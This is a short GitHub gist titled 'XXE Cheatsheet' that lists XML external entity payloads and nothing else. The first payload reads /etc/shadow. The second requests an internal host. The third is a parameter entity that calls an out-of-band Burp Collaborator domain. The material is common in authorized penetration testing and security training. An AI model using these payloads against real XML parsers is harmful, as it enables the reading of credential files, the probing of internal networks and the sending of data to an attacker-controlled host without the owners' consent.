Skip to content

Instantly share code, notes, and snippets.

@leveled

leveled/basic_xxe_example.xml

Last active January 22, 2021 20:16
Show Gist options
  • Save leveled/24d2effb908d881717d0d0fccf5aef04 to your computer and use it in GitHub Desktop.
Save leveled/24d2effb908d881717d0d0fccf5aef04 to your computer and use it in GitHub Desktop.
Download ZIP
XXE Cheatsheet
Raw
basic_xxe_example.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
<!--External Entity-->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
<!--Parameter Entity-->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://wpp4w63vbnnhghjj4zz.burpcollaborator.net"> %xxe; ]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment